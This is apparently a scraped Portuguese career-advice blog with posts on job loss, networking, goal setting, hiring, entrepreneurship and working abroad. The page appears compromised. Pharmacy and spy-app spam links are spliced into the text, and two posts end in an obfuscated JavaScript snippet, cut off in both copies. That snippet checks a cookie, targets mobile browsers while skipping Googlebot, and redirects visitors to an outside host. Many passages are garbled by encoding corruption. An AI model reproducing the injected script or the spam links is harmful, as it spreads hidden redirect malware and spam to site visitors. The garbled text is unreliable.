Conexão Profissioanal

http://wetter-co.com/uncategorized/ios-spy-mobile-tracking/ http://angelo.mhs.narotama.ac.id/2018/02/11/effexor-xr-150-mg-cost/

http://bigdreamevolution.com/blog/purchase-lady-era-review-2/ Falamos recentemente sobre a visibilidade dos profissionais nas redes sociais. Elas podem ser grandes aliadas para aqueles que estA?o procurando um emprego. Mas o que fazer para, mesmo estando desempregado, nA?o perder o vAi??nculo com o mercado?

Primeiramente, o profissional nA?o deve se isolar. Ai?? importante atualizar para seus contatos o seu novo e-mail e telefone, informando sobre o desligamento da empresa. AlAi??m disso, procure participar de eventos, seminA?rios e palestras relativas Ai?? sua atuaAi??A?o profissional. HA? um almoAi??o de networking? Procure participar. Se uma associaAi??A?o vai promover um encontro ou debate, nA?o deixe de ir.

Nessas oportunidades vocA? poderA? se manter atualizado sobre o que estA? acontecendo no mercado, alAi??m de conhecer profissionais que poderA?o abrir portas para a sua reinserAi??A?o. Vale salientar, entretanto, que sua postura nA?o deve ser a de ai???coitadinhoai??? porque estA? desempregado.

NA?o haja como ai???pedinte” ou dramatize demais a sua situaAi??A?o. Procure conversar sobre questAi??es profissionais e informar que estA? disponAi??vel, mas sem usar do emocional para conseguir uma oportunidade. Uma postura positiva pode dar mais resultado.

E lembre-se que, jA? que vocA? nA?o estA? mais ligado a nenhuma empresa, um novo cartA?o de visitas com dados atualizados como telefone, e-mail e profissA?o sA?o fundamentais nesses momentos. Outro fato importante Ai?? manter sua leitura atualizada, tanto de jornais, como de revistas especializadas. O que nA?o pode Ai?? deixar de se capacitar por falta de recursos. Usar a criatividade Ai?? fundamental e essas pequenas aAi??Ai??es podem fazer a diferenAi??a.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Uma situação muito difícil na vida de uma pessoa é a perda do emprego. Isso afeta tanto o campo emocional quanto o financeiro. Principalmente agora, que em meio à crise, pode-se ter mais dificuldade do que o normal para se recolocar no mercado. Então, quais medidas tomar diante dessa circunstância?

Com relação ao campo financeiro, diante de uma demissão inesperada, alguns ajustes precisarão ser feitos para reduzir o endividamento. Coloque numa planilha todas as reservas que você tem, inclusive o valor da rescisão. Depois destrinche as despesas fixas e as extraordinárias.

Considere custos de alimentação, moradia, saúde, educação, transporte, além de despesas eventuais como, por exemplo, as compras parceladas que já foram realizadas. Com essas informações mais claras, analise item por item, avaliando onde pode cortar. Comece eliminando aquilo que não é essencial para sua sobrevivência, depois veja onde pode economizar no custo fixo.

Reduzir saídas, compras, trocar um programa mais caro por outro mais barato, negociar planos de telefonia, internet e reduzir gastos com energia são algumas alternativas. Faça essa análise e discuta a necessidade da redução de despesas com sua família. Só assim todos se comprometerão com a economia.

Se tiver que escolher quais contas pagar primeiro, analise os encargos por atraso e priorize os que são mais caros. Evite deixar de pagar a fatura do cartão de crédito, por exemplo, onde os juros são altos. Busque ainda renegociar prazos e serviços. Feito isso, calcule quantos meses você tem de reserva para garantir a sobrevivência.

Caso veja que esse montante será insuficiente, talvez precise vender algum bem. O importante é tomar essas medidas o mais rapidamente possível para manter o equilíbrio e ter a cabeça focada na busca de um novo emprego.

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Q http://mitupo.org/shipping-probalan uando um ano novo comeAi??a, traz com ele os planos e caminhos para a vida que todos desejam traAi??ar. No entanto, a empolgaAi??A?o vai passando e acabamos deixando para trA?s as metas estabelecidas. Por isso, Ai?? importante que estejamos sempre revisando nossos objetivos e recalculando as rotas a fim de alcanAi??A?-los.

Segundo a revista VocA? S.A., apenas 8% das pessoas no mundo todo conseguem cumprir os objetivos traAi??ados para o ano ai??i?? e a causa Ai??, muitas vezes, a falta de foco e de disciplina. Outros motivos, porAi??m, podem levar as pessoas a nA?o alcanAi??arem suas metas.

Estabelecer um objetivo sem considerar as condiAi??Ai??es para alcanAi??A?-lo Ai?? um deles. No campo profissional, o sucesso depende de uma sAi??rie de fatores que vA?o alAi??m da competA?ncia individual e que podem ser imprevisAi??veis ai??i?? os chamados fatores externos ai??i??, como as mudanAi??as no mercado, por exemplo. No entanto, ainda Ai?? possAi??vel rever alguns itens da lista de prioridades, mesmo que boa parte do ano jA? tenha passado e ainda existam muitas metas a serem cumpridas. Na carreira, como vocA? depende tambAi??m do seu gestor e dos profissionais com quem trabalha, negocie. Aproveite as reuniAi??es de acompanhamento para propor uma revisA?o de metas e, se necessA?rio, prepare uma anA?lise para reforAi??ar seus argumentos.

No campo pessoal, observe o que vocA? pode fazer jA? ai??i?? essa Ai?? uma A?rea que depende exclusivamente de vocA? e do seu prA?prio esforAi??o. ComeAi??ar pelo que Ai?? possAi??vel agora, Ai?? uma boa estratAi??gia. NA?o adianta nada, planejar emagrecer no inicio do ano e nA?o tomar as atitudes necessA?rias. Monte uma lista de aAi??Ai??es para chegar ao resultado: olhar academias perto de casa ou do trabalho, organizar a agenda reservando um horA?rio para exercAi??cios, consultar uma nutricionista, etc.

Por A?ltimo, seja mais realista no planejamento para o prA?ximo ano e procure basear as metas ancoradas em bons argumentos e anA?lises profundas, para nA?o acabar perdendo a motivaAi??A?o no meio do caminho.
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Encontrar um bom profissional não é tarefa fácil. Isso se deve a diversos fatores como qualificação disponível no mercado e competição pelos melhores, além de conseguir pessoas com projetos de carreira convergentes aos da empresa. Mas quais são os maiores desafios para quem está contratando? E o que os candidatos mais qualificados procuram?

Uma pesquisa divulgada pela rede virtual de negócios LinkedIn aponta que um dos grandes desafios atuais para a contratação, especialmente dos jovens, é a competição entre as empresas, atrelada à imagem e aos pacotes de remuneração. Isso é uma realidade em países como África do Sul, Canadá, Estados Unidos, Holanda e França.

Muitos das lideranças pesquisadas apontaram a marca como um diferencial para atrair bons profissionais, o que reforça a importância da imagem da organização como fator de decisão quando o candidato tem que escolher. Essa também é uma realidade no Brasil. Para aumentar seu alcance, as redes sociais têm um papel fundamental e a presença na mídia digital é uma tendência. Passou a ser uma necessidade para todas as organizações, nos diversos segmentos de negócio.

E o profissional, o que deve fazer para estar nessa disputa? Além de ter boa qualificação para a área pretendida, com atualizações periódicas, ele precisa estar com seu currículo em dia.

No Brasil, as empresas se utilizam de diversas fontes online na hora de recrutar, e estar presente nelas é essencial. Cadastrar-se nos sites de empresas de recrutamento e ter perfis nas redes sociais com foco no mercado de trabalho é fundamental. Portanto, cuidar do seu currículo digital também passou a ser importante na busca por uma colocação. Atualizá-lo periodicamente é um tarefa essencial. E lembre-se: em momentos de maior dificuldade no mercado, como o vivido no país atualmente, os profissionais com melhor formação e visibilidade saem na frente.

Num momento em que muitos profissionais estão perdendo seus empregos, vemos casos de sucesso no empreendimento de novos negócios. Mas será que esta é a melhor opção para todos?

Aventurar-se em um negócio próprio não é para qualquer um. A pessoa precisa ter um espírito empreendedor e suportar correr os riscos. Por isso, é importante avaliar algumas condições antes de tomar uma decisão: você tem o capital para iniciar o negócio e para se manter enquanto não tem retorno? Está preparado para trabalhar muito no início? Tem visão do mercado e estuda sobre as condições dele?

Outros fatores como disposição para buscar inovação de serviços ou produtos e conhecer seus clientes-alvo e ramo também são fundamentais neste processo. É bom perceber também que os profissionais que vem se destacando normalmente já atuavam no segmento e partem para um empreendimento individual. Por isso, procure investir sempre na área onde você já tem alguma experiência.

A questão da sociedade também deve ser avaliada. Se escolher ter um sócio, procure alguém que compartilhe dos mesmos valores e que possa contribuir com trabalho e financeiramente para o início do negócio. Entretanto, por mais que a relação seja de confiança, é importante deixar todos os detalhes da parceria documentados.

Outro ponto essencial é a qualificação. Muitas vezes, o profissional sai de uma função técnica e quando abre o próprio negócio acaba se perdendo na gestão. Por isso, é fundamental estar sempre se capacitando e buscando ferramentas para desenvolver um planejamento estratégico de curto, médio e longo prazo.

Muitos profissionais já pensaram em ter uma experiência fora do país. Esse desejo vem aparecendo ainda mais no discurso de alguns, devido ao momento de recessão que o Brasil está atravessando. Mas sempre há grandes dúvidas na hora de tomar uma decisão como esta. O que deve ser considerado, então?

Alguns pontos são fundamentais na hora de se candidatar a uma vaga de trabalho no exterior: domínio da língua, conhecimento da cultura e convergência com seu projeto de carreira. Será um trabalho temporário ou algo permanente? Em cada caso, o impacto no seu futuro será diferente e isso deve ser levado em conta.

Além disso, você deve procurar conhecer o custo de vida no país de destino, se a empresa irá bancar custos de plano de saúde, moradia, transporte, entre outros. Analise também a legislação trabalhista do local de destino. Nos Estados Unidos, por exemplo, benefícios pagos no Brasil, como FGTS, abono de férias e 13º salário, não existem. As despesas provenientes do processo de mudança também devem ser consideradas.

Tendo essas questões mapeadas, avalie os ganhos e perdas e considere que passará por um período de adaptação, no qual precisará se inserir em um país estranho. Pesquise ao máximo sobre a cultura local, como são as práticas profissionais na sua área e como é a rotina dos moradores locais. E lembre-se que uma decisão como esta sempre gera medo do novo e não há nada estranho em se sentir inseguro.

Em tempos de crise, poucos recursos e dólar alto, as alternativas para as férias ficam mais restritas. Então o que fazer para não deixar de tirar o período de descanso com a família?

Mudar o padrão de exigência para as férias pode ser uma opção e até gerar uma experiência bem agradável. Ao invés de reservar hotéis caros, por exemplo, às vezes se hospedar em pousadas ou albergues pode ser uma boa alternativa. Há diversas opções bem charmosas, inclusive que permitem um bom contato com a natureza e a possibilidade de interagir com turistas de outras localidades.

Se viajar para o exterior não é viável financeiramente, por que não aproveitar para conhecer outros lugares em seu país? Faça um levantamento de preços, se vale mais a pena ir de carro, ônibus ou avião, qual o custo médio de refeições no local desejado e se a oferta de hospedagem oferece descontos para filhos.

Caso não dê para ir para muito longe, pode tentar passar alguns dias em praias ou no campo, e buscar alternativas que não incluíam fim de semana e feriados, que geralmente são mais caros. Para os finais de semana, uma boa opção é ser turista na sua própria cidade. Com certeza existem passeios que você ainda não fez, pontos turísticos que não visitou, parques, praças e atrações culturais.

O importante é fazer um planejamento realista e combinar com sua família para alinhar as expectativas e não deixar de curtir o merecido descanso.

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Q http://angelo.mhs.narotama.ac.id/2018/02/14/what-is-the-cost-of-lisinopril/ uem nunca trabalhou com alguAi??m parecido com o personagem de desenho animado que dizia: ai???oh vida, oh dor, oh azar!ai???? NA?o Ai?? incomum termos no ambiente de trabalho pessoas que estA?o sempre para baixo ou que encaram tudo pelo lado negativo. Mas entA?o, como lidar com elas?

Antes de tudo, Ai?? importante nA?o se deixar contaminar pelo pessimismo do colega. Entender o que estA? gerando o comportamento negativo tambAi??m Ai?? importante: se Ai?? uma caracterAi??stica pessoal ou um momento difAi??cil pelo qual ele estA? passando. Independente das causas, disponibilizar um tempo para escutar a pessoa pode ser uma alternativa.

Se tiver uma relaAi??A?o de confianAi??a com o colega em questA?o, convide-o para tomar um cafAi?? no final do dia para que possam conversar sobre aquilo que o estA? incomodando. Ai??s vezes a pessoa quer apenas um apoio, ser ouvido, colocar para fora aquilo que o aflige.

Se for o caso, vale falar durante a conversa sobre como sua conduta pode prejudicar o ambiente de trabalho e orientA?-la a procurar um apoio, caso seja uma caracterAi??stica mais permanente. Dizer Ai?? pessoa que a sua postura negativa afasta as pessoas tambAi??m Ai?? importante.

Caso ela esteja realmente passando por um momento difAi??cil, compreender sua situaAi??A?o, tentar ajudar e ser solidA?rio sA?o atitudes recomendadas, mas nA?o alimente o clima ai???para baixoai???. Buscar assuntos alternativos, focar no trabalho e nos resultados positivos tambAi??m Ai?? fundamental. Mantenha sua atitude positiva e espere que isso passe para ela.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Muitas vezes estranhamos quando o comportamento do gestor muda. Isso pode ser sinal de que algo vai mal. Caso seu gerente esteja deixando de convidá-lo para eventos importantes ou para almoços, ou não se interesse mais em dar o feedback do seu desempenho, isso pode indicar que ele não está lhe vendo mais como parte da equipe.

Em momentos de crise econômica, pode acontecer de uma redução de quadro estar a caminho e que o seu cargo esteja em perigo. Por essa razão, o constrangimento, mesmo que não consciente, pode ser a causa do afastamento entre vocês. Mesmo quando o gestor entende e concorda com as razões do corte, é comum que essa seja uma situação incômoda para ele. Sendo assim, é bom tomar algumas atitudes.

Primeiro reveja seu planejamento de carreira. Você está conseguindo seguir o que tinha planejado? Seus resultados são bons ou aquém do esperado? Sua atuação continua relevante para a organização? Sua remuneração está acima do mercado?

Depois Além disso, é interessante perguntar ao gestor como ele está vendo sua inserção na equipe e falar da sua apreensão. Se sentir que ele pode não estar sendo transparente (pode acontecer dele não estar autorizado ainda a falar sobre o assunto) se antecipe e invista em buscar alternativas no mercado.

Talvez seja a hora de pensar em algumas ações, caso você perca o emprego. Avalie suas qualificações e suas lacunas e procure investir em aprimorar-se. Converse também com outros profissionais que passaram por situações semelhantes e veja as alternativas e estratégias que eles colocaram em prática. Atualize seu currículo e resgate seus contatos.

Mas, mesmo diante da incerteza, enquanto estiver na empresa procure atuar de maneira proativa e focada nos resultados esperados. Nada de se deixar abater!

Assumir cargos de gestão tem deixado de fazer parte dos planos de muitos jovens profissionais. Nem todo mundo tem perfil para gerenciar equipes, e muitos só o fazem porque pensam na melhoria financeira, status e crescimento de carreira. Mas esta não é a única oportunidade. Entenda os motivos dessa mudança de comportamento e como as empresas estão se adaptando a ela.

Existem os profissionais que pensam em crescer, mas não se veem em um cargo de liderança, já outros preferem uma rotina mais operacional. Há aqueles que acreditam que o aumento de salário e benefícios não são suficientes quando comparados à pressão e exigências que um cargo de gestão traz . E ainda, para alguns, assumir um cargo de gerência significa abrir mão da qualidade de vida.

Um engano cometido pelas empresas é promover um bom profissional acreditando que ele será um bom gestor. Isso nem sempre é verdade. É fundamental considerar os perfis e acompanhar seu desenvolvimento.

O que muitos não percebem é que há alternativas para crescer na carreira sem ter que gerenciar uma equipe, e que um Plano de Carreira pode diferenciar as atuações e destacar pessoas sem perfil gerencial. Uma delas é pensar em uma atuação como especialista. Algumas organizações têm investido em empregados extremamente qualificados para atuarem como consultores técnicos. Logicamente, isso exige da pessoa maior investimento na sua formação. Esses profissionais recebem remuneração semelhante ao gerente e ficam a serviço das áreas estratégicas da empresa.

Outra alternativa é a gerência de projetos. Nesse caso, o profissional não é gestor da equipe. Ele coordena um projeto específico com potencial estratégico para a organização. Este profissional deverá ter capacidade de articulação e de mobilização. Também precisa conhecer bem as engrenagens da empresa e ter formação em gestão de projetos.

Nos dois casos, o relacionamento com a equipe se faz com foco nos objetivos específicos, na atividade técnica ou no projeto, e não no gerenciamento direto dela. A gestão administrativa rotineira (como faltas, horas extra, metas da área) permanece com o Gerente da área. Há, portanto, alternativas para crescer na carreira sem se eleger como um péssimo gerente.